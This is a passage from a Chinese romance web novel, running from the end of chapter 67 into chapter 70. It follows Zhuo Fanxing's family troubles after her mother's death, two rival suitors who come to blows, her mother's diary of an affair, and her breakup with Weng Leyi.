翁乐仪愣了下,方才一看见她,他就扯了扯卷在膝盖上的裤子。他的目光在她和凌洲身上犹疑。蒋凌洲似乎接收到了一些信号,摇了下手上的假肢,不在意地开口:“在聊和乐仪混合双打刘清华的计划,你要参与吗?毕竟你也在其中。” 这话遭到了翁乐仪的瞪视。蒋凌洲一副你让我你说的样子。 卓繁星愣了一下,随即笑起来。 她还是头一次在他面前露出这样轻松的表情。蒋凌洲有些怔忪,一时不知后续该说什么。怕自己一开口,又要见到她机警的样子。 “什么事?灿灿。”翁乐仪接下去讲,眉目温和地看着她。 卓繁星没说话,只是用她那双眼睛安静地望向他。她和灵均已经睡了好几个晚上了,他现在来了,她和他一起不是很正常吗。 她觉得他才是那个奇怪的人。怎么能丢下她呢。 蒋凌洲看着她还带着病容的脸,一种鲜活感却出现在她的脸上,起码对他来说是陌生的。这个姑娘在他面前,多是机警的,防备的,小心翼翼,又暗含嘲讽。 他从来没有见过她这样依恋的一面。 夜风带着微凉的气息,从窗缝里漏进来。蒋凌洲蹙了下眉,放下假肢,说:“我走了。明天我会让医生上门。”他忘了遮掩,离开这个房间。 起先卓繁星还没有察觉,毕竟她自己也病着,医生或许是为她来,可随即她就看见了那只放在沙发旁的药箱。 “你的腿又疼了?” 她蹲下身,卷起那条被他扯下来的裤腿。 “已经好多了。凌洲帮我处理过了。”翁乐仪试图向她保证。“真的没事了。” 卓繁星摸到他变的一绺一绺的头发,即便干了,依然有种冰冷的滑腻感。 蒋凌洲的公寓内没有方便他使用的设施,连一只带滚轮的凳子都没有。卓繁星本来想给他擦擦就好了,可翁乐仪真的很想洗澡。她只能抱着他,顺便自己再洗了一次。 浴室里,热腾腾的水汽在浴灯下旋转上升,能看清每一颗微小的粒子。他们抱在一起,亲着彼此,再埋到对方的脖子里。 穿衣服的时候,他们在镜子里看见对方,比白天的样子都年轻许多,像两个还在读书的人。或许是剥去了伪装的外壳,就同穿的衣服一样,没有防备了,便显得格外干净。 这个晚上,卓繁星终于在异国他乡睡了一个完整的觉。再没有什么爬在墙上的蜥蜴,浴缸里的女人,还有那个走错房间的,站在小时候的自己门外的那个女人。 次日,清晨的阳光刚刚洒在床铺上,厨房已经十分热闹。岛台上搁着新鲜的花束,一个靓丽的身影出现在背景里。 “林小姐,家中今天有客人。”保姆早告诉过她。 “我知道,你说了,一个腿脚不太好,那是他表弟。还有两位女士,都是我认识的朋友。” “噢,是这样吗?”保姆似信非信地看她。 林灿十分受伤,捂着心口控诉道:“简妮,你怀疑我!” “没有,没有。我肯定是相信你的,小姐。”保姆可怜巴巴地眨眼睛,该怎么和她讲,昨天明明雇主抱了一个女孩儿进来,且十分关心的样子。 哎,真是可怜的林小姐。 与她有同样想法的还有姚灵均。她在林灿试图从烤箱里拿出烤好的面包时,告诉她。“蒋凌洲和我说你们分手了。”她绝对不是在示威,这句话当然有歧义,可是她相信林灿能明白。 “他这样说吗?”林灿立刻捂住了心口。 姚灵均一下就后悔了。“不是,不是,我不是这个意思。他就是个渣男。我的意思是你别在他身上浪费时间了,不值得。” 林灿叹气。“可是人怎么能控制自己的心呢。” “” 姚灵均瞬间给她贴上了一个大大的恋爱脑标签。可林灿着实没做错什么事,说起来,还是蒋凌洲太过恶劣。 她在餐桌上,看见林小姐殷勤地为他抹面包的时候,越发可惜。啊,都是惯出来的,这副死样子。他的优越感从何而来。 “灵均你想要尝尝吗?”林灿看见她看久了,还贴心地要给她抹上一只。 你看,多好的妹子,可惜了。她咬下一口香肠,很捧场地点头。“好呀,我也想试试,看着很好吃的样子。”美女来服务我吧,别盯着这个男小三了。 没眼色地死盯人家小情侣,不知道又要冒什么坏水。 可是她竟然也不生气哎,她是知道蒋凌洲对灿灿的心思的吧。姚灵均看着对灿灿微笑的林小姐,这笑容丝毫不勉强。 哎,这就是阿美莉卡吗,好神奇的关系。她默默睁大了眼睛。 这时,韩律师的电话打来。他先是询问卓繁星身体如何,交代姚馨雅的骨灰已经安放好,等这边的手续办好就能送回国内。 “还有就是姚女士的画室了。卓小姐”他适时的顿了顿。“或许您可以来看一看再做决定。” 第68章 ◎不甘(四)◎ 餐桌上只剩下翁乐仪和林灿。 林灿要去舞团,而翁乐仪,他的腿不太方便出行,蒋凌州特意为他请了一位医生来。 林灿喝下最后一点牛奶,擦了擦嘴。“或许小翁想去看一看?” 翁乐仪没说话。她笑着道:“就当我想去,要一起吗?” 卓繁星对于画室并不积极,可毕竟是姚馨雅的心血。或许能带上一两幅回去,对于舅舅他们来说是必要的。 不同于现在的冷淡,姚馨雅是个画家这件事,曾经一度令她骄傲。她是艺术家。而她有个艺术家母亲。小学的时候,甚至到了初中,都是个值得炫耀的事。 她当然不至于张口就和别人讲,我母亲是画家。可总会有那么些场合需要自我介绍吧,还有班主任,总会问你父母是做什么的?她这时候可不会回答卓强,她只需要讲我妈妈是画家,在国外工作。 至于卓强,如果有老师追问,她就说他们离婚了,她也不知道。然后,她就会收获一些内疚或者抱歉的眼神。再加上一句:“真厉害啊,你妈妈竟然是个画家。” 【是啊,即便她们并不熟悉。甚至还没有见你见的多。】卓繁星会在心里默默补充。 可是没关系,谁知道呢。她就是顶着这样的光环一路升到高中,直到后来才避而不谈。 就是姚馨雅和翁乐仪的爸爸谈恋爱的时候。卓繁星至今不知真假,可在她听见这些风言风语不久,姚馨雅便回国了。这次她呆的格外久,似乎是和国内的画廊有合作。谁知道呢?反正那时候卓繁星是个孩子,又无关紧要,他们根本不会告诉她太多。 她很快遭到刘清华等人的敌视,就是先前讲过的那些,他们背着她讨论,说她妈妈勾引翁乐仪的爸爸,说要给他出气。 就连蒋凌州,卓繁星发誓在这之前她真的对他没有任何想法,即便她对于许筠一干人等已经心生厌烦,可是她疲于应付,她也不觉得自己有那么大的魅力。 她是在那个下午突然看破了蒋凌州的心思。那段时间,她感受到她和许筠之间越来越冷漠,她们很久没有两个人行动了,比方说练完舞之后去逛街、吃冰,回到家里还会一起发信息等等。吴梦云成了和许筠绑定的人。卓繁星其实是有些失落的,因为虽然她不乐于做跟班,但是也不想被排斥。 卓繁星想或许许筠受到了刘清华的影响,她觉得她妈妈勾引了翁乐仪的爸爸,她不好意思和她一起玩了。 可后来,很快,卓繁星就知道不是。 卓繁星在这一点上时常惊讶于自己的敏感,她为什么在当下就判断出蒋凌州对她的心思呢。即便他做了似乎和刘清华一样的事。 蒋凌州偶尔会来找许筠,卓繁星在很早之前,甚至和他们两个一起走过一段路,不会太长,她自知不能做个电灯泡。即便对于传言她和蒋凌州的暧昧,许筠通常会红着脸否认,可她红着脸了,便说明一切。 那天依然如此。 “你找许筠吗?她今天没来。”卓繁星练了好几个动作,看见他还在站在外面,遂向他解释。 他蹙眉看了眼她,那副样子绝对称不上友好。 “知道你妈的事儿吗?”他翻出手机,看了一眼又合上。 卓繁星瞬间一凛。 她没有说话。蒋凌州睨着她,依凭身高的优势,手随意翻转着那只在当时价格不菲的手机,十分从容。“让她离我姑父远点儿。” 卓繁星咬着唇说:“我不知道你在说什么。” 他终于把手机揣回兜里,插兜站着。“我发现清子说的挺对,你和你妈一样,都挺能装的。你舅妈攀着我奶奶,你妈还想嫁我姑父,有这样的道理吗?好事儿不能全让你家占了。” “这是大人的事。你和我说没用。” “反正就一句话,别做梦了。” 他气冲冲的走了,看起来倨傲冷漠。那她怎么知道的。卓繁星在镜子里看见他了,他盯着她看了很久,和那些偷偷看她的男生一模一样。 话题扯远了。总之卓繁星着实因为姚馨雅这桩绯闻吃了不少苦头。 夜里回到家,她在外面吃了一堆东西,夜市里的气味全都钻进外套里。舅妈一见她就说:“去哪里了?吃的什么?弄的这样臭。都和你讲外面的东西少吃,脏不拉叽的。” 卓繁星说:“和同学一起去的。” “许筠?”她面色稍缓。“那也不太好,万一吃坏了怎么办。她妈妈盯的这样紧,没得要赖你。” 卓繁星听话地上楼去了。下楼喝水的功夫就听他们夫妻两个在讲。“灿灿木愣愣的,还是像她爸爸。” 舅妈驳道:“你以为她爸爸不厉害?不厉害能勾的小姑娘跑。” “那不就是皮相。”姚国平顶不乐意听这桩事,于家里实在是丑闻。若没有这件事,妹妹不知道嫁的多好,半点不比蒋家女儿差,更不至于如今谈个恋爱,也要被编排。 “小姑不是皮相?”徐凤一点不怕他。 她是不指望姚馨雅嫁给翁廷川的,如今在家里,她说了算,要是真嫁了,她夹在中间,两头不讨好。 姚国平说:“那点机灵一点没学到。” “反正你们姚家都不是好东西,讨债的。她说过几天有个沙龙,我不敢去。她到底有没有和翁廷川在谈?你好歹问问?我问她,她肯定不和我讲。” 卓繁星胆子出奇的大。她实在是受姚馨雅这桩绯闻影响,还有一点,她也不想她和翁乐仪的爸爸在一起。 为什么?因为她喜欢翁乐仪呀。 她拿了邀请函去了沙龙,看见姚馨雅风光剪彩,一身打扮精致高贵。角落里,姚馨雅质问她来干什么。 卓繁星还没回答,一个外国男人上前揽住她的腰,问:“这位小姐是谁?” “家里的孩子。”卓繁星听见她这样回答。 “妈妈,你和翁”卓繁星揪着书包袋子,忐忑地开口。 “不是你该管的事。”姚馨雅一下打断她的话。“你舅妈让你来的?让她放心,翁家门庭太高,轮不到我。” 她嘲讽地说出这番话,卓繁星先是松了一口气,随即又听出其中的哀怨。“你赶紧回去吧。”她袅袅婷婷地回转,卓繁星看见她对着那个外国人笑的热情。随后不久,她就结婚了,丈夫正是这位男士。 卓繁星看着这间画室,二层的小楼,其实并不起眼。卓繁星知道姚馨雅后来并未再有很多的产出,似乎主要还是帮助丈夫打理一些产业,在艺术品方面她能发挥自己的专长。 画室里堆叠了很多画作,墙上只有零星几幅。 “这些都是她的画吗?” “大部分是,还有一些收藏。”韩律师同她解释。“姚女士后来主要从事一些画展布置之类的工作,这里是她的私人办公室。二层放了很多她的私人物品,包括她家里的,我都收拾好,放在上面的一个箱子里。上面还有一些她特别喜欢,珍爱的画作。” 卓繁星上了楼梯,老式的木楼梯,踩起来有种嘎吱嘎吱的声音。 “灵均,这里风景很好。”她对着窗户外的花园,郁金香开的正盛。卓繁星转过头同姚灵均分享,她没上来,只有蒋凌州。他站在墙边,手一按,房间里的灯光瞬间亮起来。 卓繁星看见墙壁上挂了一幅画,特别大的一幅,因此格外瞩目——是个练舞的少女。 她穿着合身的练功服,盘起来的长发。场景是舞蹈室,少女低头侧身,侧过来半张脸正看着脚下的步伐。纱裙随着她踢起来的腿柔顺地展开一段弧度。 卓繁星看见画面右下角的小小的两个字。 【繁星】 蒋凌州看见卓繁星的睫毛轻轻颤了颤,然后小声地感叹了一句。“画的真好。” “灵均和韩律师呢?我们不是要看有没有什么要带走的。” “这里都是你的。”蒋凌州提醒道。 “谢谢,可是我觉得我不需要。” “卓繁星,乐仪不会介意的。这只是我的一个帮忙,举手之劳。” 卓繁星说:“我知道。只是我对于这些东西不感兴趣,也没能力照顾好。说起来,我想问下韩律师的费用是多少。我想不会便宜,能否用她在画室原本的股份?还是她的画,能抵一些吗?” 蒋凌州摸出烟,又搁下。“你在和我撇清关系。” 卓繁星沉默下来。“灵均在下面等我” “我能给你的不止这些。” “我远比乐仪自由的多。姑父未必赞同你们。可我不一样。我决定的事,没人能改。” “我不明白你在说什么。” “和我结婚。”他丢下一句,不啻于在卓繁星耳边炸雷。“我想了很久,卓繁星,和我结婚吧。我能给你很多东西,不仅是这间画室。你或许不知道我在这里的经营,你可以从今以后过你想过” 门被推开,姚灵均一副看深井冰的样子看蒋凌州,她方才被韩律师叫走,他想让她劝说灿灿接受这间画室。正聊着,一辆车子开进来,林灿带着翁乐仪来了。 然后就是刚刚那一幕。 翁乐仪说:“灵均,带她下去。” 林灿从方才起就挑着眉毛,一副看好戏的样子。 蒋凌州的目光落在她身上,她无辜地开口:“是小翁要来的。” 门重新被关上。翁乐仪脱下外套,放到椅背上。蒋凌州刚开口,就被他猛地一拳打在脸上。 蒋凌州一个踉跄,撑着桌子才没倒地。外套被揪住,在下一拳来临之前他后仰躲开。 砰的一声,两个人一起砸在地上。 蒋凌州动作更快,翻身压住翁乐仪,挥出去结实的两拳。鼻子里的血流到下巴,他抹了一把,十分嫌弃,觉得两拳头打轻了。 他揪着翁乐仪的衣领,他也不好受,鼻子里也开始冒血。 “我有没有叫你今天别出来,我医生都给你叫好了。” “你他妈是不是有病。”翁乐仪瞪着眼睛,上身撑起来。“我问问不行?我他妈就要让着你。”蒋凌州话没说完,翁乐仪一脑袋就锤上去。“你让我什么了?” 到了后来,不知道过了多久,估计也就两三分钟,两个人躺在地上,气喘吁吁。 “你他妈有病。”翁乐仪坐起来,摸着脸上的血。 蒋凌州笑了一下。“这叫公平竞争。” “我警告你,离她远点儿!”翁乐仪面色冷硬,抓住他的衣领,狠狠提上来。“不然兄弟做不成。” “我只是不甘心。明明我先看见她的。”蒋凌州似乎看见多年前那个下午,他在排练室外面的时候,他特意挑着只有她一个人的时候。她以为他是去找许筠的。他早看见她了——跳累了,趴在把杆上发呆。粉白的脸,耳朵旁绕了一弯碎发,让人忍不住想绕在手指上。 “是你自己没珍惜。”翁乐仪放手,蒋凌州一下倒下去。 “白痴。” “你说什么?” “我说你傻啊。”他才不会告诉他,错过了什么。 翁乐仪说:“这间画室为什么和你有关系?” 蒋凌州没理他,爬起来拿烟。翁乐仪看见那副画,问道:“她妈妈画的?” 蒋凌州抬起下巴点烟,尽管血呼啦次,却依旧保持了某种倨傲。“是。我出钱,让她画的。” 他轻揉额头,缓缓抽着烟,又幻化为那日的场景。 “你喜欢灿灿?”那个女人坐在画架前,有些新鲜地望着他。 翁乐仪和蒋凌州露面的时候,所有人都怔住了。虽然听见里面的动静很大,有过猜测,但真的到了眼前还是不介意更吃惊一点的。 除了林灿。她哇哦了一声,然后轻声说了句“Bravo!”谁都能听出她的幸灾乐祸来。 蒋凌州说:“我记得你今天要去舞团。” 她不在意地耸肩。“哈尼,相信我,现在你更重要。看看的你脸,你快要被揍成狗了呀。” 翁乐仪一直很沉默,直到回到蒋凌州家中依旧如此。 卓繁星和姚灵均商量了一下要带哪些东西回去,不过如今她手上更紧要的是姚馨雅的一本日记,或者说记事本更恰当一些。 卓繁星没有看到很多她情感方面的表达,关于自己则就在开头。【月初记得打钱,生活费!】她要保证自己每次翻开这本本子,都能记得这件事。怎么不算是一种重视呢。 卓繁星陆续看见了,诸如回国、妈妈生日、画作截止日期等字样。其中标注2012年10月15日的日期,她画了盛放的玫瑰。【第一次约会,我收到了他的花,我感觉自己从来没有那么幸福过!!】这页被撕掉,又被重新贴好。 联系后面她的文字。【不要去在意失去的,而要抓住能抓住的。】 【一个愚蠢的借口,他甚至都不愿意敷衍我。重要的是他依旧爱着她,哪怕这个女人甩了他无数次,他依旧会和一条狗一样跟在她后面。】 卓繁星在这行字上来回看了几遍,大胆猜想,或许她真的和翁乐仪的爸爸有过一段。 翁乐仪出来的时候,她正翻到那一页。 “我妈和你爸的绯闻是真的吗?” 翁乐仪说:“我是听过他那个时候有恋爱对象,可是不确定是不是你妈妈。” “我猜是的。”卓繁星盖上那本日记。 “灿灿。”翁乐仪靠在床头,脸上的青紫像画上去的,透出点可爱。 “嗯?” “你想结婚吗?” 卓繁星愣了下。翁乐仪一只手枕在脑后,原本是看吊灯的,转为看她。 “为什么突然问这个?” “不都会考虑这个吗?” “你是因为今天蒋凌州的事?我不知道他发什么疯。”卓繁星试图和他撇清关系。 “那如果是我呢?” “什么?” “如果我向你求婚呢?” 卓繁星突然有些生气。“你们男人的胜负心都这么强的吗?” “我觉得我们可以考虑一下。” “我觉得没必要。” “为什么?” “没有为什么。”卓繁星转过去,抚平本子上折起的角。 第69章 ◎分手(一)◎ 卓繁星回国后工作很忙碌。卓强的复查也到时间了,她实在抽不出时间陪他们去,好在他们已经熟门熟路,倒不至于让她太过担心。 到了那天,她忙完了想着打个电话,从电梯出来,看见两个人坐在门外,正是卓强和程霞。 “你们怎么过来了?” 程霞从蛇皮袋上爬起来。“哎呦,你可算来了。我想上厕所要紧了。” “灿灿。”卓强低着头,指着地上的袋子。“我拿了点腌肉、鱼干,还有两包茶叶。茶是新茶,外面吃不到。” “我没什么喝茶的习惯。”卓繁星低头开门。 “检查怎么样?” “血验出来还行,就是有两三个箭头,医生说没关系的。尿蛋白还是偏高。” “肌酐呢?” “正常,正常。” 卓繁星放心了。门一推开,小八就蹿出来。 程霞嘬嘬了两声,说:“亲人的咧,叫什么?” “小八。” “你室友养的?我刚刚就听见它在里面叫。” “我养的。” “噢,你讲过,就是这只啊。” 卓强把袋子提进来。程霞上完厕所出来说:“里面还有我做的青团和饺子,吃不完都放速冻。我自己调的青汁和馅。青团是红豆酿的,饺子做的白菜猪肉。你早上起来,蒸几个就好当早饭吃了。我给你放冰箱里。晚上就好蒸两个尝尝,味道很好的。” 卓繁星说:“我自己回来理,先出去吃饭吧。吃完饭我叫车送你们回去。” 卓强说:“不用,我们有认识的朋友。镇里做木工的,你不认识,他今天也到城里来,说好了,晚上乘他的车回去。” 程霞在边上笑着说:“对,对。” 卓繁星忙了一天,脑子有点木,愣愣道:“那先去吃饭吧。” 程霞说:“不用,你这里有厨房。袋子里有腌肉,你冰箱里有没有菜,随便烧点吃吃就好了。” “不用了,出去方便。”卓繁星话刚落,邵丽丽回来了,手上提着一把芹菜,一袋柠檬鸡爪。 “哎呦,那么刚好呀。”她听了之后说:“要不要我再去买点,超市就在下面。” 程霞拦她。“不要的,够了,够了。我自己家里做了青团,饺子,刚刚还说叫灿灿拿给你,好当早点心吃。” “谢谢阿姨。是呀,最近是吃青团的时候了,我看外面都在卖了,卖的还老贵了。” “可不是吗?我和小姐妹这两天早起去卖,3元一只,15元一盒,卖的疯起,不过也赚不了几个钱,几千块撑死了。累么累死。” “几千块很好了,顶的上我一个月工资了。阿姨还是厉害呀。” 程霞被她夸的眉开眼笑。“哪里哪里,我们跟你们不好比的呀,赚的是辛苦钱,你们做办公室的。说起来,妹妹是做什么的?”这是苏州那边的土话,叫小一辈的姑娘都叫妹妹。 “我?我是干销售的,那种美容方面的,下次阿姨要做脸跟我讲,给你优惠。” “是那种拉皮吗?弄了皱纹没有的。那种很贵的” 她们在厨房间里说个不停,也不耽误手上功夫。卓繁星和卓强在外面客厅。卓繁星看了下卓强的报告,差不多,没什么大变化。 卓强说:“你妈那边事情都弄好了?” “差不多了。她那边有个委托律师,不用我们再过去,等骨灰寄到国内,安葬好就好了。墓地舅舅他们在联系,我不清楚。” 卓强的手搁在膝盖上,摸了两下,不知道说什么。“嗯,弄好了就好。” 程霞透过玻璃门往外看,对上邵丽丽的眼神,解释道:“灿灿妈妈的事挺突然。我和老卓听见的时候都不敢信。灿灿还好吧?” “还行,她挺坚强的。” “哎,也是没办法。我和老卓担心她憋在心里,她就是这样,什么事都不往外说,喜欢一个人扛。” 蒸锅里的青团热好了,她夹了两个出去。“你俩先垫垫肚子。” 卓繁星吃了一口。程霞擦着围裙站在边上。“怎么样?味道还行吧。” “好吃。” “你喜欢就好。”她笑起来,眼睛扫过卓强,背在后面的手拧他。 卓繁星看过去,她笑的又开了一点,很快又收回去,有种不管不顾的劲,往他们两个中间一坐,说:“灿灿啊。你妈那儿都处理好了?” “好了。” 程霞长长地噢了一声。“那她在外面这些年,她不是嫁人了么,她老公那儿,你这次过去没说起怎么安排的?我听说国外那些法律都很坏的,你别被忽悠了,那律师可不可信?我是怕你吃亏。” 卓繁星咽下嘴巴里的青团。“她老公被抓起来了,不然不用我出面。至于她的财产,她破产了,一分钱都没有。” 程霞脸色瞬间变幻,流露出一种不可置信的荒唐。她搓了搓身上的围裙,尴尬又隐有怒气地看了一眼她。“这样,这样真的假的?你别被骗了。有没有问清楚?怎么会一点都没有,是不是她老公霸占了。” 卓繁星不讲话了,卓强推了程霞一把。“赶紧去帮忙,你让灿灿朋友一个人在厨房,像什么样。” “我,我”她扭头看了眼他,恨道:“我就要过去了,催什么催。” 程霞回了厨房。卓强跟卓繁星解释:“你程阿姨看中镇上的铺面房,上面好住人,下面开早点心店。不能一辈子住吴家,她以为你妈那边灿灿,你别往心里去。她没孩子,做出来最后也是你的。” 卓繁星说不出话来。 她看着卓强板寸脑袋上星星点点的白发,低着头,突出来的两条肩胛骨,变形的手指,洗不干净的指甲,明白了姚馨雅为什么要离开这个男人。 她试图在姚馨雅的日记里寻找卓强的痕迹,一点都没有。姚馨雅对于卓强来说或许也早已什么都不是。 卓繁星这顿饭吃的心不在焉,中途翁乐仪打来电话,她赶紧逃到阳台上。 “灿灿。”他的声音像从很远的地方吹来的风,带来一些宁静。 “嗯。” “韩律师有联系你吗?什么时候来京市?” 卓繁星说:“下个礼拜吧。” “好,能多请一天假吗?” 卓繁星沉默了一下。翁乐仪说:“我们一起去爷爷家吃饭。” 没有等来她的回应,他在那边又叫了她一声。“灿灿。” 卓繁星吐出一口气,将复杂的情绪都压回去。“好。” “好,到时候见。” “嗯。” 翁乐仪听出她的不安。“别怕,他真的很喜欢你。” 卓繁星又嗯了一声,这次带了点分量。 一个礼拜后,卓繁星飞往京市。 姚家不打算把丧事办的很隆重,一来时间已经过去很久了,人都烧了,二来觉得名声不好听,没得要惹闲话,不如就简单过去。 卓繁星在姚家见了姥姥姥爷,两个人神情稍显呆滞,可还算正常。舅妈说:“你姥姥知道那天一个晚上没睡觉,我生怕她出事。到了第二天,饭吃的进去,我的心就放了一半了。年纪大了,也看的开了。都是命。” 卓繁星问她:“灵均结婚的事,有影响吗?” “没那么多忌讳。就是她,那房子还没动静。我前两天听见她和胡昊天吵架,我问她她肯定不耐烦,你帮舅妈问问,什么情况?” 姚灵均根本不是藏的住事儿的。“胡昊天家里知道了,不舒服,他妈妈指桑骂槐,我听了能不跟他吵?” “那他怎么说?” “能怎么说?那是他妈。我算什么?” 卓繁星说:“这跟你买房子有什么关系?” “我不想再欠蒋家人情了不行吗?又不是没了房子活不了,怎么就一定要我背这人情债呢。” “是舅妈他们的事儿。” 姚灵均白她一眼。“你还没低头低够呢。小时候就这样,我可不稀罕。”她把脸扭过去,过了会儿问她:“姑姑的画室真不要了?” 卓繁星说:“要不起。” “也是,你离蒋凌州远点儿的好。他妈妈”她将话吞回去。 俞秋华来送白包,徐凤客气地上去招呼:“你怎么来了,家里两个老的都说不让我通知。” “都安排好了?知道了怎么能不来,都是亲戚。妈念佛,最听不了这种事。她念了经,叫我送来。”俞秋华的眼睛落在卓繁星身上,徐凤有点尴尬地看着她。 翁乐仪后脚赶到,两人照了面,俞秋华见他往卓繁星跟前一站,这模样竟是奔着结婚去的。她心里不舒坦,又不好说什么,见着姚馨雅的骨灰送到墓地安放好,就上车离开。 临走了,喊了一声乐仪,叫他去家里吃饭,家里两个老人都惦记他。 “知道了,舅妈。” 车窗升上去,俞秋华看了一眼他边上的姑娘,想了想还是给翁廷川去了电话。 卓繁星第二天去了翁乐仪爷爷家。她自己带了一盒新茶,还有Y市的海货。“要不要买瓶酒?”卓繁星感觉好像少了点。 “他不能喝酒,买点水果吧。” 卓繁星有点局促地跟着翁乐仪,她在这上面向来就不是个能说会道,讨人欢喜的姑娘。她突然想起舅妈对她的评价:木愣愣。可不就是这样。她恨不能立马变一个人,起码活泼点,令人不觉得尴尬,不然翁爷爷怕要奇怪,怎么孙子喜欢了这样一个姑娘。 卓繁星坐在沙发上,也只敢坐三分之一的位置。柳姨泡了茶来,她立马站起来。 “坐,坐,姑娘。不用紧张。”她温和的声音同翁爷爷的声音一起响起。“对,坐着。我没那么吓人吧。”他爽朗地笑起来。 柳姨说:“有没有什么忌口的?我去做饭,葱蒜这些都吃吗?” “都吃,我不挑。” “她和我一样,差不多口味。”翁乐仪在旁讲。 “那好啊,能吃到一起去。”柳姨笑着去了厨房。 门铃响了,她赶紧跑过去,一开门,惊讶道:“廷川来了。” 卓繁星转过头,看见一个高大的身影,黑色的呢大衣,剃的干净的头发。岁月似乎格外宽待他,即便年过半百,却依旧风姿出众。 卓繁星在他脸上看见一些翁乐仪的影子,那双眼睛尤其像他。只是翁乐仪更纯粹。或许翁乐仪到了这个年纪,就会和他一样。又或者戴上眼镜,就是他这样。 卓繁星突然想起卓强那双脏兮兮的手,褐色的皮肤,在他走过来坐下,交叉着双手的时候。 卓强也不会这样坐,他不会肩背完全放松下来,交叠着腿。 他总是畏缩的,支起两边的肩胛骨。 “灿灿。” 卓繁星一下看向翁乐仪。“伯父好,我叫,卓繁星。” “你好。”翁廷川清淡开口,向她简单颔首。 她听见翁爷爷似乎在问他怎么过来了,他怎么回答的她没听清。 翁爷爷说:“我听乐仪说你是京市长大的。” 卓繁星点头说是。 “你妈妈的事儿我听乐仪讲了,别伤心,要向前看,你过好了,她才放心。” 卓繁星一下僵住,感觉到身边的目光透过薄薄的镜片扫射过来。 吃饭的时候,饭桌上的气氛还算融洽。 用完餐,翁廷川就站起来,说:“乐仪,我有事和你谈,去书房吧。” 卓繁星的心思像飘浮在空中的羽毛,又像落在海里的气球。 翁爷爷说:“要看看乐仪小时候的照片吗?” 她才算找到一点方向。 书房里的气氛剑拔弩张,翁乐仪的声音其实还很冷静。“我喜欢她。并且认真地在考虑结婚这件事。” “除开她和凌州的事,我可以告诉你我不同意的原因还有一个,就是她并不健康。” 翁乐仪有种自己听岔的错觉,这样无礼的话从他父亲嘴里说出来。“你好像忘了你儿子是个残疾人。” 书房里响起一声闷响,卓繁星一下扭头看过去,厨房里的柳姨拿着抹布急匆匆地跑出来。 “没事,没事,估计杯子不小心碰掉了。” 话音刚落,房门开了,翁乐仪走出来说:“爷爷,我们先告辞了。下次再来看你。” 春日的京市很漂亮,先是桃花、再是玉兰、梨花、丁香,到了4月,海棠便开了,一茬接着一茬,没有间隙。 卓繁星同翁乐仪走在这样的街道上,落英缤纷,有许多踏青的人。 翁乐仪说:“最近工作忙吗?” “嗯,有点。” “灿灿。”翁乐仪牵住她的手。“我下次去Y市见你爸爸吧。” 卓繁星怔怔看着他。 “怎么了?不行吗?” “你爸爸应该不喜欢我。” “你听见了。”翁乐仪不意外,爷爷家里的隔音实在不好。“对不起。他只是有点健忘。”他撇撇嘴,有些不屑的样子。 “什么?” 翁乐仪将那番话说给她听,卓繁星拍他。“你不许这样说,怪不得他要生气。” 翁乐仪笑了一下,抱住她。“所以我说他记性不好。” 一个小男孩儿跑过去,风筝在他身后飞起来,卓繁星忍不住看过去。 “他好厉害啊。” “你喜欢男孩儿还是女孩儿?” “什么?”卓繁星看着他在阳光下发光的脸,勾起的唇角,被光扎到,微眯的眼睛。 有些不好意思,翁乐仪没再说。他一只臂弯上放着外套,另一只手揽住她,缓缓走在春光下 “我们分手吧。” 卓繁星在飞机上发出这条信息便关了机。 【2013年3月5日约会】 【2013年5月18日博尔顿,约会】 【2013年10月20日太久了】 【2023年3月4日安纳西】 那是姚馨雅日记本后面的内容,直到最后,去世前的一个星期,都与一位W先生有关。 第70章 ◎分手(二)◎ 这天,卓繁星在翁乐仪的公寓整理东西的时候,遇上了打扫卫生的阿姨。 阿姨由一家中介公司介绍来,自认做的不错,这家雇主是好说话的年轻人,房子干净,远没有别人家里一家五口,老少挤在一起的麻烦事,价钱给的也不低,是桩好差事。 “卓小姐。”她叫了卓繁星一声,望着她往行李箱里放衣服的动作——分手了?自从翻过年来,听说她男朋友调去了外地工作。他们并没有结婚,聚少离多,迟早要这样。 果然,女孩子说:“阿姨,我搬回去住了,这里之后的事你联系先前找来的人,他们知道的。” 卓繁星本来就是因为联系方便,才加的她微信。这间公寓是翁乐仪的助理安排的,一应事项肯定有数。现下她不住了,翁乐仪也不在,交给他们处理就好。 “你去哪里住?翁先生不回来了?”阿姨忍不住问。 “他去津市了呀,这里本来就是临时呆一下。” “噢,噢。就是太突然了呀。” 卓繁星安抚道:“你不用担心,你公司那边肯定有合同签好的,这个月的工资即便不做了也会照常付你。”卓繁星想,在这类事上,翁乐仪的助理肯定是很大方的。 “哎,谢谢。我不担心的。”阿姨站在卧室外面。“要不要我帮你?东西重不重?” “没什么东西,我自己来就好。你忙完了就走吧,辛苦了。”卓繁星对她笑了笑。 小姑娘绝对是分手了呀。真是,作孽噢,两个人挺般配的呀。 她出门的时候,忍不住回头看一眼。不晓得是不是心理作用,感觉屋子立马空起来了。那么好了,又要找新差事了。 卓繁星不知道她的郁闷。她把衣柜里的衣服都拿出来,箱子里装不下。都怪搬来的时候是冬天,衣服重,她自己没概念,看看就几件,没想到翻出来那么多。真是像极了囤粮的仓鼠,一点一点,等到过两天再看,好大一摊东西。 她想着今天出门的时候,还想一只箱子绰绰有余。不过还好,不用急,她空了再来一趟。 枕头边放着一只粉色的邦尼兔,卓繁星拿过来抓在手上。 “到了?”那天回到家不久,卓繁星便收到了翁乐仪的电话。他声音听着很平稳,就是寻常的一次通话,在确认她安全抵达,仿佛她那条短信根本没有发出。 卓繁星感觉自己像是两只脚陷在沼泽里,不敢动。可她僵了太久了,总会没有力气。她在关机后的几个小时,一直如此。 卓繁星想,他们不会有结果的。 可其实她并没有一定要有个结果吧,只是当下有种说不出的委屈。她陷在一种混乱的情绪里,姚馨雅的事情还没结束,完全搅乱了她的生活。她甚至大概率和翁乐仪的爸爸还有联系。在日记里,迷恋着他。 呵,W先生。 翁乐仪的爸爸不知怎么想她,可他也绝没必要那么嫌弃她。毕竟他虽然没有选择和她妈妈结婚,但似乎并不排斥和她偷情。 还是因此他才格外讨厌她。 想不通,卓繁星撇嘴。姚馨雅那时候难道没有向他借点钱吗,他可是实力雄厚。 “翁乐仪。”她轻轻喊他。“我们分手吧。” 回到那天的通话,在卓繁星说出分手后,通话沉默了很长一段时间。她甚至仿佛听见了风的声音,从他的那头吹过来,填补在这段苍白的间隙里。 “愚人节已经过去了。别开玩笑了。”翁乐仪笑了一下。 他的声音放缓,沉稳地开口,因此显得格外郑重。“灿灿,我知道今天是我没有考虑周到,我很抱歉。只是别随便说分手。” 